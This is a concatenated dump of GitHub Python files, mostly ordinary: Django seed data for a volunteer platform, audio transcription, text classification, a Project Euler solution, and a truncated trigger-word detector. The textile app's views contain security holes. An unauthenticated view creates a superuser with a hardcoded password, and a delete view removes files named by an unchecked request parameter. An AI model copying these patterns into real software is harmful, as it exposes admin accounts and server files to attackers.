offsets = []\n while Q.qsize() > 0:\n rst = Q.get()\n onsets += rst[0]\n offsets += rst[1]\n return jsonify(on=onsets, off=offsets)\n\ndef get_buffer_and_transcribe(model, q):\n CHUNK = 512\n FORMAT = pyaudio.paInt16\n CHANNELS = pyaudio.PyAudio().get_default_input_device_info()['maxInputChannels']\n RATE = 16000\n\n midiout = rtmidi.MidiOut()\n available_ports = midiout.get_ports()\n if available_ports:\n midiout.open_port(0)\n else:\n midiout.open_virtual_port(\"My virtual output\")\n\n stream = MicrophoneStream(RATE, CHUNK, CHANNELS)\n transcriber = OnlineTranscriber(model, return_roll=False)\n with MicrophoneStream(RATE, CHUNK, CHANNELS) as stream:\n audio_generator = stream.generator()\n print(\"* recording\")\n on_pitch = []\n while True:\n data = stream._buff.get()\n decoded = np.frombuffer(data, dtype=np.int16) / 32768\n if CHANNELS > 1:\n decoded = decoded.reshape(-1, CHANNELS)\n decoded = np.mean(decoded, axis=1)\n frame_output = transcriber.inference(decoded)\n on_pitch += frame_output[0]\n for pitch in frame_output[0]:\n note_on = [0x90, pitch + 21, 64]\n midiout.send_message(note_on)\n for pitch in frame_output[1]:\n note_off = [0x90, pitch + 21, 0]\n pitch_count = on_pitch.count(pitch)\n [midiout.send_message(note_off) for i in range(pitch_count)]\n on_pitch = [x for x in on_pitch if x not in frame_output[1]]\n q.put(frame_output)\n # print(sum(frame_output))\n stream.closed = True\n print(\"* done recording\")\n\nif __name__ == '__main__':\n # for i in range(0, p.get_device_count()):\n # print(i, p.get_device_info_by_index(i)['name'])\n\n app.run(debug=True)\n","repo_name":"jdasam/online_amt","sub_path":"run_on_web.py","file_name":"run_on_web.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"32"} +{"seq_id":"74063750810","text":"from django.core.management.base import BaseCommand\nfrom django.core.files import File\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom event.models import Event, Participation, Frame, Comment, Question, Answer\nfrom user.models import User, UserReviewList, Skill\nfrom tag.models import Tag\nimport csv\nimport os\nimport glob\nimport random\n\nusername_sample=[\n\"koshiba_takahiro\"\n,\"yusuke0803\"\n,\"_daisuke_\"\n,\"sugiyama_xxx\"\n,\"yasunori_abe\"\n,\"tesitesi2\"\n,\"apple_love\"\n,\"windows_love\"\n,\"lovesf531\"\n,\"miyagawa_daisuke\"\n,\"urasima_tarou\"\n,\"gold_tarou\"\n,\"peach_tarou\"\n,\"issunn_bo-shi\"\n,\"nakashima_atushi\"\n,\"haraguti_joji\"\n,\"ai_sakamoto2929\"\n,\"_mami_takahashi_\"\n,\"daiki_kobayashi\"\n,\"xi-fuen\"\n,\"rao-xien1849\"\n,\"ReportsInformer\"\n,\"Robinessa\"\n,\"Sellbreets\"\n,\"Showerzoff\"\n,\"Spotexpeat\"\n]\n\neventname_sample=[\n {\"name\":\"TOKYO DESIGN WEEK 2016 会場運営ボランティア\",\"description\":\"Tokyo Design Weekの会場運営ボランティアを募集します。動きやすい服装でお越しください\"},\n {\"name\":\"「ココロをシェアする」コミュニティスペースの看板スタッフ募集\",\"description\":\"コミュニティスペースの看板作成のスタッフを募集します。だれでも可能ですが日曜大工の経験のある方など歓迎します\"},\n {\"name\":\"ダイビングを通してサンゴ礁の保全活動に貢献しませんか?\",\"description\":\"沖縄の海でダイビングをしてみませんか?ダイビングを通して経験したサンゴ礁保護活動をメディアに発表します\"},\n {\"name\":\"御船町ボランティア本部より⬛ 炊き出しプロジェクト\",\"description\":\"御船町で炊き出しをします。\"},\n {\"name\":\" 【PC作業ができる方!】「人と地域を元気に」生活習慣改善センターがボラ募集\",\"description\":\"仙台でPC作業のできる方を募集します。具体的にはHP作成やエクセルの簡単な操作を手伝っていただきます。仕事内容によっては報酬もあります。\"},\n {\"name\":\"【随時募集!】子ども好きの方歓迎!ピースジャムがボランティア募集!\",\"description\":\"\"},\n {\"name\":\"おばあちゃんとお化粧&おしゃべりを楽しむ!エステ!@東あずま\",\"description\":\"\"},\n {\"name\":\"いつでも、一回でも!気軽にボランティア【登録制】~サッカー、お化粧、革細工、野菜作りe.t.c\",\"description\":\"\"},\n {\"name\":\"子どもの遊びと学びを支える学生・若手社会人ボランティア募集!\",\"description\":\"\"},\n {\"name\":\"「子ども食堂」運営ボランティア募集\",\"description\":\"\"},\n {\"name\":\"入院加療中のこどもへのスポーツ・文化活動をサポートするボランティア募集\",\"description\":\"\"},\n {\"name\":\"【国際協力団体ADRA】マーケティングで国際協力。NGOインターン募集\",\"description\":\"\"},\n {\"name\":\"ビジネスの手法で社会貢献しよう!社会起業家について学べる無料セミナー\",\"description\":\"\"},\n {\"name\":\" 【市民とNPOの交流サロン】『障害を持つ人が地域で安心して生活できる社会の実現をめざして』\",\"description\":\"\"},\n {\"name\":\"「きっと見つかるあなたの国際協力のカタチ! ~NGO×企業トーク&ミャンマーお食事会~」を開催\",\"description\":\"\"},\n {\"name\":\" 「NPOの組織マネジメント 強くあたたかい組織のつくり方」 〜NPO22団体の事例・ノウハウから見えてきた3つの観点〜\",\"description\":\"\"},\n {\"name\":\"国際協力NGOシャプラニー会報発送ボランティア募集\",\"description\":\"\"},\n {\"name\":\"4泊5日の農山村ボランティア「若葉のふるさと協力隊」参加者募集\",\"description\":\"\"},\n {\"name\":\" 【シンポジウム】『すべての子どもを社会で支える!』\",\"description\":\"\"},\n {\"name\":\"「悩みを話せる友達が見つかる」がコンセプト。悩み相談サイトのメンバー募集!\",\"description\":\"\"},\n {\"name\":\"PLAS事務局インターン説明会を開催します!\",\"description\":\"\"},\n {\"name\":\"住まいとコミュニティづくりNPO交流会-助成事業活動報告会-\",\"description\":\"\"},\n {\"name\":\"施設の子供たちと遊んでくれる学生募集!\",\"description\":\"\"},\n {\"name\":\"あなたのアイデアを活かして地域活性化に取り組みませんか?【地域活性化ハッカソン】\",\"description\":\"\"},\n {\"name\":\"失われた木々を取り戻すための植林作業~あなたの手で森を守りませんか~\",\"description\":\"\"},\n {\"name\":\"子供たちの避難訓練を手伝っていただけるかた募集【昼食付き】\",\"description\":\"\"},\n {\"name\":\"介護施設のレクリエーションにご参加いただける団体募集【個人も可】\",\"description\":\"\"},\n ]\n\neventdetail_sample = \"\"\"これから、はじめてボランティア活動をしようという個人を対象にした基本的なオリエンテーションです。\n「ボランティアってなに?」「どうやって活動を始めるの?」などの、素朴な質問にお答えします。お気軽にご参加ください。\"\"\"\n\n\ncomment_sample=[\n \"\"\"Samsung Z2は、“世界初の4G LTE通信対応Tizenスマートフォン” という肩書きを除けば、非常に平凡なローエンド端末であると言えます。\n しかしながら、4590インドルピー(約6850円)という価格設定や、兄弟端末「Samsung Z1」よりも確実に強化されたスペックに加え、\n 投入される市場のニーズを抑えた機能を実装することにより、新興成長市場においては魅力的な選択肢となり得る端末に仕上げられている模様です。\n \"\"\",\n \"\"\"\n 米グーグルがアプリ開発者向けに提供している「Google Play Developer Console」上においては、\n アプリ上で発生したクラッシュやANR(アプリが応答しない)エラーのデータを確認することができますが、\n Android Policeによると、今回そのページ上にあるフィルタリング用の項目の中に、「Android 7.1」という記述が確認されたとのことです。\n \"\"\",\n \"\"\"\n コメント(英: comment)とは、コンピュータ言語(プログラミング言語やデータ記述言語)によって書かれたソースコードのうち、\n 人間のために覚えとして挿入された注釈のことである。この部分はコンピュータが処理を行うときにはないものとして無視されるため、自由に文を挿入することができる。\n \"\"\"\n]\n\nreview_comment_sample = [\n '',\n '感謝感激です。',\n \"\"\"\n とても助かりました。\n またのご縁があることを楽しみにしております。\n この度はありがとうございました。\n \"\"\",\n \"\"\"\n ありがとうございました。(^o^)\n \"\"\",\n \"\"\"\n 本当にありがとうございました!またぜひ御縁がありますように♪\n \"\"\",\n \"\"\"\n 最悪な1日でした。\n \"\"\",\n \"\"\"\n 拝啓 ΟΟの候、貴社ますますご清栄のこととお慶び申し上げます。平素は、格別��ご厚情を賜り、心よりお礼申し上げます。\n さて、先般の○○の折には、貴社には多大なるご協力を賜り/ΟΟ様をはじめ貴社の皆様には、大変お世話になり、心より感謝申し上げます。\n \"\"\"\n]\n\nskill_text_sample = [\n 'なんでもできます。',\n '30年以上の実務経験があります。',\n '人のために生きることが私の使命です。',\n '愛は地球を救う',\n '人道支援が大好きです。',\n '将来の夢はアグネス・チャンのような人になることです。',\n \"\"\"\n 私は調整力があります。\n 皆をまとめ、一つの方向に導く努力を惜しみません。\n オーストラリア植林ボランティアに参加しましたが、メンバーはばらばらに仕事をしており成果も良くありませんでした。\n その結果、「仕事が楽しくなった」と皆の理解が得られチームで仕事をするようになり、以前の2倍の仕事の成果を出すことが出来ました。\n \"\"\",\n \"\"\"\n 私は、関心仕かけ人です。\n 所属するNPO法人で新聞社の方と、言語技術の新授業プログラムを開発し、小・中学校で授業を行いました。\n 授業は成功を収め、今後は全国展開の予定です。\n 人の気持ちを察し楽しませること、その力を伸ばす努力は怠りません。\n \"\"\"\n]\n\nclass Command(BaseCommand):\n help = \"\"\"\n This is a custom command created to seed the database with test data.\n The following flags can be specified to add specific data sets.\n -user: Adds users.\n -event: Adds events. Requires users to exist.\n -frame: Adds frames. Requires users and events to exist.\n -participation: Adds participations. Requires users, events, and frames to exist.\n -comment: Adds comments. Requires users, events, frames, and participations to exist.\n -tag: Adds tags. Requires users to exist.\n -qanda: Adds questions and answers. Requires users, events, frames, and participations to exist.\n \"\"\"\n\n attributes = ('user', 'event', 'frame', 'participation', 'comment', 'tag', 'qanda')\n\n prefectures = {\n \"Hokkaido\": \"北海道\",\n \"Aomori\": \"青森県\",\n \"Iwate\": \"岩手県\",\n \"Miyagi\": \"宮城県\",\n \"Akita\": \"秋田県\",\n \"Yamagata\": \"山形県\",\n \"Fukushima\": \"福島県\",\n \"Ibaraki\": \"茨城県\",\n \"Tochigi\": \"栃木県\",\n \"Gunnma\": \"群馬県\",\n \"Saitama\": \"埼玉県\",\n \"Chiba\": \"千葉県\",\n \"Tokyo\": \"東京都\",\n \"Kanagawa\": \"神奈川県\",\n \"Niigata\": \"新潟県\",\n \"Toyama\": \"富山県\",\n \"Ishikawa\": \"石川県\",\n \"Fukui\": \"福井県\",\n \"Yamanashi\": \"山梨県\",\n \"Nagano\": \"長野県\",\n \"Gifu\": \"岐阜県\",\n \"Shizuoka\": \"静岡県\",\n \"Aichi\": \"愛知県\",\n \"Mie\": \"三重県\",\n \"Shiga\": \"滋賀県\",\n \"Kyoto\": \"京都府\",\n \"Osaka\": \"大阪府\",\n \"Hyogo\": \"兵庫県\",\n \"Nara\": \"奈良県\",\n \"Wakayama\": \"和歌山県\",\n \"Tottori\": \"鳥取県\",\n \"Shimane\": \"島根県\",\n \"Okayama\": \"岡山県\",\n \"Hiroshima\": \"広島県\",\n \"Yamaguchi\": \"山口県\",\n \"Tokushima\": \"徳島県\",\n \"Kagawa\": \"香川県\",\n \"Ehime\": \"愛媛県\",\n \"Kouchi\": \"高知県\",\n \"Fukuoka\": \"福岡県\",\n \"Saga\": \"佐賀県\",\n \"Nagasaki\": \"長崎県\",\n \"Kumamoto\": \"熊本県\",\n \"Ooita\": \"大分県\",\n \"Miyazaki\": \"宮崎県\",\n \"Kagoshima\": \"鹿児島県\",\n \"Okinawa\": \"沖縄県\"\n }\n\n prefec_list = list(prefectures)\n\n def add_arguments(self, parser):\n parser.add_argument(\n '-user',\n dest='user',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-event',\n dest='event',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-frame',\n dest='frame',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-participation',\n dest='participation',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-comment',\n dest='comment',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-tag',\n dest='tag',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-qanda',\n dest='qanda',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-userreviewlist',\n dest='userreviewlist',\n action='store_true',\n default=False,\n )\n parser.add_argument(\n '-skill',\n dest='skill',\n action='store_true',\n default=False,\n )\n\n def _create_users(self):\n default_admin = User(\n first_name = 'admin',\n last_name = 'admin',\n username = 'admin',\n birthday = timezone.now(),\n telephone = 123456789,\n emergency_contact = 119,\n email = 'admin@sovol.earth',\n occupation = 'ADMIN',\n is_admin = True\n )\n default_admin.set_password('pass1234')\n default_admin.save()\n\n icondir = os.path.join(settings.BASE_DIR, 'media', 'users', 'seed_icons')\n\n #デモで使うユーザー\n testuser = User(\n first_name = 'インター',\n last_name = 'リンク',\n username = 'ページ531',\n birthday = timezone.now() - timezone.timedelta(days=10000),\n telephone = 123456789,\n emergency_contact = 119,\n email = 'demo@sovol.earth',\n occupation = '会社員',\n region=\"Tokyo\",\n )\n testuser.set_password('pass1234')\n testuser.save()\n\n #ちゃんとしたユーザー\n for i in range(20):\n lastname = str(i)\n username = username_sample[i]\n email = \"test%d@sovol.earth\" %(i+1)\n user = User(\n first_name = 'user',\n last_name = lastname,\n username = username,\n birthday = timezone.now() - timezone.timedelta(days=6000+i*600),\n telephone = 123456789,\n emergency_contact = 119,\n email = email,\n occupation = ['会社員','プログラマー','デザイナー'][i%3],\n region = self.prefec_list[i],\n )\n user.set_password('pass1234')\n user.save()\n\n #モブキャラ\n for i in range(1,30):\n firstname = 'demo_user'\n lastname = str(i)\n username = 'demo_user_'+str(i)\n email = \"demo%d@sovol.earth\"%i\n role_type = 'helper' if i > 20 else 'sufferer'\n user = User(\n first_name=firstname,\n last_name=lastname,\n username=username,\n birthday=timezone.now() - timezone.timedelta(days=6000+i*600),\n telephone=123456789,\n emergency_contact=119,\n email=email,\n occupation='BUG_TEST',\n region=self.prefec_list[i%47],\n role = role_type,\n )\n user.set_password('pass1234')\n user.save()\n\n def _create_events(self):\n\n prefec_list = list(self.prefectures)\n\n #ポイント稼ぎ用ボランティア\n random.seed(1)\n for i in range(1,21):\n\n for j in range(1,4):\n name = \"【第%d回】\"%j + eventname_sample[i][\"name\"]\n host_user = User.objects.get(username=\"demo_user_%d\"%i)\n past_or_future = 1 if i < 10 else -1\n demoevent = Event(\n name=name,\n start_time=timezone.now() + timezone.timedelta(days=301) * past_or_future,\n end_time = timezone.now() + timezone.timedelta(days=302) * past_or_future,\n meeting_place=\"池袋駅東口母子像前\",\n contact=\"testvol@sovol.earth\",\n details=eventdetail_sample,\n host_user=host_user,\n region=prefec_list[i%47],\n longitude=139.7191 + 0.01 * random.uniform(-2.0,2.0),\n latitude=35.7291 + 0.01 * random.uniform(-2.0,2.0)\n )\n demoevent.save()\n demoevent.admin = User.objects.filter(pk=i)\n\n\n def _create_frames(self):\n for event in Event.objects.all():\n frame = Frame(\n event=event,\n upper_limit=7,\n deadline=event.start_time,\n description='運営スタッフ'\n )\n frame.save()\n\n frame2 = Frame(\n event = event,\n deadline=event.start_time - timezone.timedelta(days=1),\n description='上限はありません',\n )\n frame2.save()\n\n for i in range(1,51):\n event.supporter.add(User.objects.get(pk=i))\n\n def _create_participants(self):\n for event in Event.objects.all():\n frame = event.frame_set.get(description='運営スタッフ')\n participation = Participation(\n event=event,\n frame=frame,\n user=User.objects.get(pk=1),\n status='管理者',\n )\n participation.save()\n\n for event in Event.objects.filter(contact='testvol@sovol.earth'):\n frame = event.frame_set.get(description='上限はありません')\n for u in User.objects.filter(first_name='user'):\n participation = Participation(\n event=event,\n frame=frame,\n user=u,\n status='参加中',\n )\n participation.save()\n\n u = User.objects.get(username=\"ページ531\")\n participation = Participation(\n event=event,\n frame=frame,\n user=u,\n status='参加中',\n )\n participation.save()\n\n for event in Event.objects.filter(contact='vol@sovol.earth'):\n frame = event.frame_set.get(description='上限はありません')\n for u in User.objects.filter(first_name='user'):\n participation = Participation(\n event=event,\n frame=frame,\n user=u,\n status='参加中',\n )\n participation.save()\n\n for u in User.objects.filter(first_name='demo_user'):\n participation = Participation(\n event=event,\n frame=frame,\n user=u,\n status='参加中',\n )\n participation.save()\n\n\n def _create_comments(self):\n for event in Event.objects.all():\n for i,participation in enumerate(Participation.objects.filter(event=event)):\n comment = Comment(\n event=event,\n user=participation.user,\n text=comment_sample[i%len(comment_sample)],\n )\n comment.save()\n\n\n\n def _create_tags(self):\n taglist = (\n '環境',\n '地域',\n '人権',\n '教育',\n '医療',\n '介護',\n '国際協力',\n '文化',\n 'スポーツ',\n '災害',\n '動物'\n )\n user = User.objects.get(pk=1)\n for t in taglist:\n tag = Tag(\n name=t,\n )\n tag.save()\n\n for user in User.objects.all():\n tag = Tag.objects.get(pk=(user.pk % len(taglist) + 1))\n user.follow_tag.add(tag)\n\n for i, event in enumerate(Event.objects.filter(contact=\"testvol@sovol.earth\")):\n if i < 20:\n event.tag.add(Tag.objects.get(name='環境'))\n elif i < 30:\n event.tag.add(Tag.objects.get(name='教育'))\n elif i < 35:\n event.tag.add(Tag.objects.get(name='介護'))\n elif i < 36:\n event.tag.add(Tag.objects.get(name='災害'))\n\n def _create_questions_and_answers(self):\n for event in Event.objects.all():\n question = Question(\n event=event,\n question=\"How are you?\",\n )\n question.save()\n for participation in Participation.objects.filter(event=event):\n answer = Answer(\n question=question,\n participation=participation,\n text=\"I'm fine thank you.\",\n )\n answer.save()\n\n def _create_userreviewlists(self):\n past_event_list = [event for event in Event.objects.all() if event.is_closed()]\n for c_event in past_event_list:\n for c_participant in c_event.participant.all():\n\n # Host -> Participant\n if random.choice([0,0,0,1,1,1,1,1,1,1]): # Did_or_Not_Did\n userreviewlists_hp = UserReviewList(\n to_rate_user = c_participant,\n from_rate_user = c_event.host_user,\n rating = random.choice([1,2,2,3,3,3,3,4,4,4,4,4,4,5,5,5,5]),\n comment = review_comment_sample[random.choice([0,0,0,0,0,1,1,1,2,2,2,3,3,3,3,4,4,4,5,5,6,6])],\n joined_event = c_event,\n post_day = c_event.end_time + random.choice(range(1,15)) * timezone.timedelta(days=1),\n from_event_host = True,\n )\n userreviewlists_hp.save()\n\n # Participant-> Host\n if random.choice([0,0,0,1,1,1,1,1,1,1]): # Did_or_Not_Did\n userreviewlists_ph = UserReviewList(\n to_rate_user = c_event.host_user,\n from_rate_user = c_participant,\n rating = random.choice([1,2,2,3,3,3,3,4,4,4,4,4,4,5,5,5,5]),\n comment = review_comment_sample[random.choice([0,0,0,0,0,1,1,1,2,2,2,3,3,3,3,4,4,4,5,5,6])],\n joined_event = c_event,\n post_day = c_event.end_time + random.choice(range(1,15)) * timezone.timedelta(days=1),\n from_event_host = False,\n )\n userreviewlists_ph.save()\n\n def _create_skill(self):\n\n all_tag = list(Tag.objects.all())\n\n for user in User.objects.all():\n if user.id > 2:\n have_skill_num = random.choice([0,1,1,1,2,2,2,3,3,3,8])\n else:\n have_skill_num = 1\n\n for _ in range(have_skill_num):\n\n user_skill = Skill(\n userskill = user,\n skilltodo = random.choice(skill_text_sample)\n )\n user_skill.save()\n\n ## add Tag\n if user.id > 2:\n tag_num = random.choice([1,1,2])\n tag_list = random.sample(all_tag[1:], k=tag_num)\n for have_tag in tag_list:\n user_skill.tag.add(have_tag)\n else:\n user_skill.tag.add(all_tag[0])\n user_skill.save()\n\n def handle(self, *args, **options):\n arg_exist = False\n for attr in self.attributes:\n arg_exist = arg_exist or options[attr]\n\n if not arg_exist:\n self._create_users()\n self._create_events()\n self._create_frames()\n self._create_participants()\n self._create_comments()\n self._create_tags()\n self._create_questions_and_answers()\n self._create_userreviewlists()\n self._create_skill()\n else:\n if options['user']:\n self._create_users()\n if options['event']:\n self._create_events()\n if options['frame']:\n self._create_frames()\n if options['participation']:\n self._create_participants()\n if options['comment']:\n self._create_comments()\n if options['tag']:\n self._create_tags()\n if options['qanda']:\n self._create_questions_and_answers()\n if option['userreviewlist']:\n self._create_userreviewlists()\n if option['skill']:\n self._create_skill()\n","repo_name":"internship2016/sovolo","sub_path":"app/base/management/commands/seed_data.py","file_name":"seed_data.py","file_ext":"py","file_size_in_byte":24648,"program_lang":"python","lang":"ja","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"38689267324","text":"def name_scores(file):\r\n text_file = open(file, \"r\")\r\n\r\n lines = text_file.read().split(',')\r\n sorted_lines = sorted(lines)\r\n\r\n pos = 1\r\n total = 0\r\n\r\n for name in sorted_lines:\r\n name_total = 0\r\n\r\n for char in name[1:-1]:\r\n name_total += ord(char) - 64\r\n\r\n total += name_total * pos\r\n pos += 1\r\n\r\n return total\r\n\r\n\r\nprint(name_scores(\"Additional Files\\p022_names.txt\"))\r\n","repo_name":"Deviloxide/Project-Euler","sub_path":"Problem 022 - Name Scores.py","file_name":"Problem 022 - Name Scores.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6696155823","text":"import json\nimport os\n\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, redirect, HttpResponse\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django.template.loader import render_to_string\n\nfrom mockup import dominant_color\nfrom mockup import read_image_from_db, read_image_local\n\nfrom .forms import LoginForm\n\n\ndef login_page(request):\n if request.method == 'POST':\n form = LoginForm(request.POST)\n if form.is_valid():\n user = authenticate(**form.cleaned_data)\n if user:\n login(request, user)\n return redirect('index')\n else:\n messages.add_message(request, level=messages.ERROR, message=\"Kullanıcı adı veya şifre yanlış.\",\n extra_tags='danger')\n return redirect('login')\n else:\n messages.warning(request, \"Kullanıcı adı veya şifre düzgün girilmedi.\")\n return redirect('login')\n if request.method == 'GET':\n if request.user.is_authenticated:\n return redirect('index')\n return render(request, 'login_page.html')\n\n\n@login_required\ndef logout_(request):\n logout(request)\n return redirect('login')\n\n\n@login_required\ndef index(request):\n return render(request, 'mockups.html')\n # return render(request, 'gomlek.html')\n\n\n@login_required\ndef extract(request):\n return render(request, 'extract.html')\n\n\n@login_required\ndef show_layers(request):\n if request.method == 'POST':\n if 'desen_id' in request.POST:\n image_name = request.POST['desen_id']\n image_path = os.path.join(settings.BASE_DIR, 'static', 'layers', image_name, 'image.json')\n if os.path.isfile(image_path):\n with open(image_path, \"r\") as read_file:\n context = json.load(read_file)\n return render(request, 'show_layers.html', context)\n else:\n response = read_image_from_db.read_image_from_db(image_name)\n if response == \"True\":\n with open(image_path, \"r\") as read_file:\n context = json.load(read_file)\n return render(request, 'show_layers.html', context)\n else:\n return HttpResponse(response)\n else:\n check_media_remove_if_exists()\n image_path = os.path.join(settings.BASE_DIR, 'static', 'layers', 'temp', 'image.json')\n myfile = request.FILES['desen_file']\n fs = FileSystemStorage()\n filename = fs.save(myfile.name, myfile)\n response = read_image_local.read_image_local(filename)\n if response == \"True\":\n with open(image_path, \"r\") as read_file:\n context = json.load(read_file)\n return render(request, 'show_layers.html', context)\n else:\n return HttpResponse(response)\n\n\n@login_required\ndef upload_image_page(request):\n check_media_remove_if_exists()\n if request.method == 'POST' and request.FILES['myfile']:\n try:\n myfile = request.FILES['myfile']\n fs = FileSystemStorage()\n filename = fs.save(myfile.name, myfile)\n except Exception as e:\n print(\"Hata: \", e)\n else:\n print(\"Successful \")\n # return render(request, 'dominant_color.html', {'file_name': myfile.name})\n return redirect('dominant_color', )\n return render(request, 'upload_image.html')\n\n\n@login_required\ndef dominant_color_page(request):\n try:\n files = os.listdir(settings.MEDIA_ROOT)\n if len(files) == 0:\n return HttpResponse(\"İlk önce fotoğraf yükleyin.\")\n filename = files[0]\n\n image_with_abs_path = os.path.join(settings.MEDIA_ROOT, filename)\n image_with_rel_path = os.path.join(settings.MEDIA_URL, filename)\n\n # images_count = len(files)\n\n colors = dominant_color.get_dominant_colors(image_with_abs_path)\n\n # return render(request, 'dominant_color.html', {'images': images_with_path, 'images_count': images_count})\n\n except Exception as e:\n print(\"Hata: \", e)\n else:\n return render(request, 'dominant_color.html', {'colors': colors, 'file': image_with_rel_path})\n\n\n@login_required\ndef load_images(request):\n image_list = \"\"\n string = \"\"\"
  • \n
    \n \n\n
    \n \n
  • \n \"\"\"\n rel_path = os.path.join('static', 'images', 'pattern')\n abs_path = os.path.join(settings.BASE_DIR, rel_path)\n images = os.listdir(abs_path)\n abs_images = [os.path.join(rel_path, image).replace('\\\\', '/') for image in images]\n all_images = zip(images, abs_images)\n # for image in images:\n # image_name, extension = image.rsplit(\".\", maxsplit=1)\n # if extension in ['png', 'jpg', 'jpeg']:\n # image_list += string.format(os.path.join(path, image), image, image)\n # else:\n # raise ValueError('Image extension must ends with png, jpg or jpeg')\n\n data = {\n 'image_list': render_to_string('sub_templates/image_list.html', context={'images': all_images}),\n }\n return JsonResponse(data)\n\n\n@login_required\ndef delete_image(request):\n try:\n image_name = request.GET.get('image_name')\n image_path = os.path.join(settings.BASE_DIR, 'static', 'images', 'pattern', image_name)\n os.remove(image_path)\n except Exception as e:\n response = False\n else:\n response = True\n data = {\n 'response': response\n }\n return JsonResponse(data)\n\n\n@login_required\ndef upload_pattern(request):\n if request.method == 'POST' and request.FILES['myfile']:\n myfile = request.FILES['myfile']\n fs = FileSystemStorage()\n filename = fs.save(myfile.name, myfile)\n\n pattern_path = os.path.join(settings.BASE_DIR, 'media', filename)\n patterns_path = os.path.join(settings.BASE_DIR, 'static', 'images', 'pattern', myfile.name)\n\n print(pattern_path)\n print(patterns_path)\n os.rename(pattern_path, patterns_path)\n return redirect('index')\n # return render(request, 'core/simple_upload.html', {\n # 'uploaded_file_url': uploaded_file_url\n # })\n else:\n return redirect('index')\n # return render(request, 'core/simple_upload.html')\n\n\ndef add_admin_first(request): # After deploy login this page to add initial admin user\n if not authenticate(username='admin', password='adminpw'):\n admin = User.objects.create_superuser(username='admin', password='adminpw', email='admin@admin.com')\n admin.save()\n return redirect('login')\n\n\ndef check_media_remove_if_exists():\n os.makedirs(settings.MEDIA_ROOT, exist_ok=True)\n files = os.listdir(settings.MEDIA_ROOT)\n if len(files):\n for file in files:\n os.remove(os.path.join(settings.MEDIA_ROOT, file))\n","repo_name":"furkan-guvenc/textile","sub_path":"mockup/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23046258359","text":"import pandas as pd\r\nimport re\r\ndef clean(s):\r\n s = re.sub(r\"([.!?,'/()])\", r\" \\1 \", s)\r\n s = re.sub(r\"[اأإآءئ]\", \"ا\", s)\r\n s = re.sub(r\"[هة]\", \"ه\", s)\r\n return s\r\ndf = pd.read_csv('unbalanced-reviews.txt', sep='\\t', encoding='utf-16')\r\ndf.review = df.review.apply(clean)\r\ndf['label'] = '__label__' + df.rating.astype(str)\r\n\r\n\r\nfrom sklearn.model_selection import StratifiedShuffleSplit\r\nspl = StratifiedShuffleSplit(n_splits=1, test_size=0.3, random_state=123)\r\nfor tr_ix, te_ix in spl.split(df.review, df.label):\r\n break\r\nwith open('hotel.train', 'w', encoding='utf-8') as f:\r\n for lbl, txt in df[['label', 'review']].iloc[tr_ix].values:\r\n print(lbl, txt, file=f)\r\nwith open('hotel.test', 'w', encoding='utf-8') as f:\r\n for lbl, txt in df[['label', 'review']].iloc[te_ix].values:\r\n print(lbl, txt, file=f)\r\n \r\n \r\n# run the following in command line:\r\n'''\r\nfasttext.exe supervised -input hotel.train -output model_hotel -wordNgrams 2\r\nfasttext.exe test model_hotel.bin hotel.test\r\n'''","repo_name":"jisrlabs/articles","sub_path":"text_classification.py","file_name":"text_classification.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"11565526571","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.models import load_model\nfrom keras.optimizers import Adam\n\nfrom configs.tr_config import tr_input_shape\nfrom configs.tr_config import nfft, fs, noverlap\nfrom Utils.td_utils import graph_spectrogram, get_wav_info\n\n\nclass TriggerWordDetector:\n def __init__(self, model:str):\n self.model = load_model(model)\n\n def predict_on_wav_file(self, filename: str):\n \"\"\"\n used for predecting on a wav file\n params: filename: filename of the wave file to predict, should be 10 seconds long\n return: prediction sequencs of length Ty\n \"\"\"\n x = graph_spectrogram(filename)\n x = x.swapaxes(0,1)\n assert x.shape == tr_input_shape, 'invalid input shape. Expected {},' \\\n 'but get{}'.format(tr_input_shape,x.shape)\n x = np.expand_dims(x, axis=0)\n predictions = self.model.predict(x)\n return predictions\n\n def get_spectrogram(self, data):\n \"\"\"\n compute the seectrogram of the datasequence\n params: data: time domain data sequence \n return: spectrogram of the input data with shape (Tx, freqs)\n \"\"\"\n nchannels = data.ndim\n if nchannels == 1:\n pxx, freqs, bins, im = plt.specgram(data, nfft, fs, noverlap = noverlap)\n elif nchannels == 2:\n pxx, freqs, bins, im = plt.specgram(data[:,0], nfft, fs, noverlap = noverlap)\n # the spectrogram outputs (freqs, Tx) require outputs (Tx, freqs)\n return pxx.swapaxes(0,1)\n\n def test(self):\n self.get_spectrogram('Audios/example_train.wav')\n\n# model = load_model('Models/tr_model.h5')\n# model = create_model()\n# opt = Adam(lr=0.0001, beta_1=0.9, beta_2=0.999, decay=0.01)\n# model.compile(loss='binary_crossentropy', optimizer=opt, metrics=[\"accuracy\"])\n# model.load_weights('Models/tr_model.h5', skip_mismatch=True)\n# model.summary()\nfrom pydub import AudioSegment\nchime_file = \"Audios/chime.wav\"\ndef chime_on_activate(filename, predictions, threshold):\n audio_clip = AudioSegment.from_wav(filename)\n chime = AudioSegment.from_wav(chime_file)\n Ty = predictions.shape[1]\n # Step 1: Initialize the number of consecutive output steps to 0\n consecutive_timesteps = 0\n # Step 2: Loop over the output steps in the y\n for i in 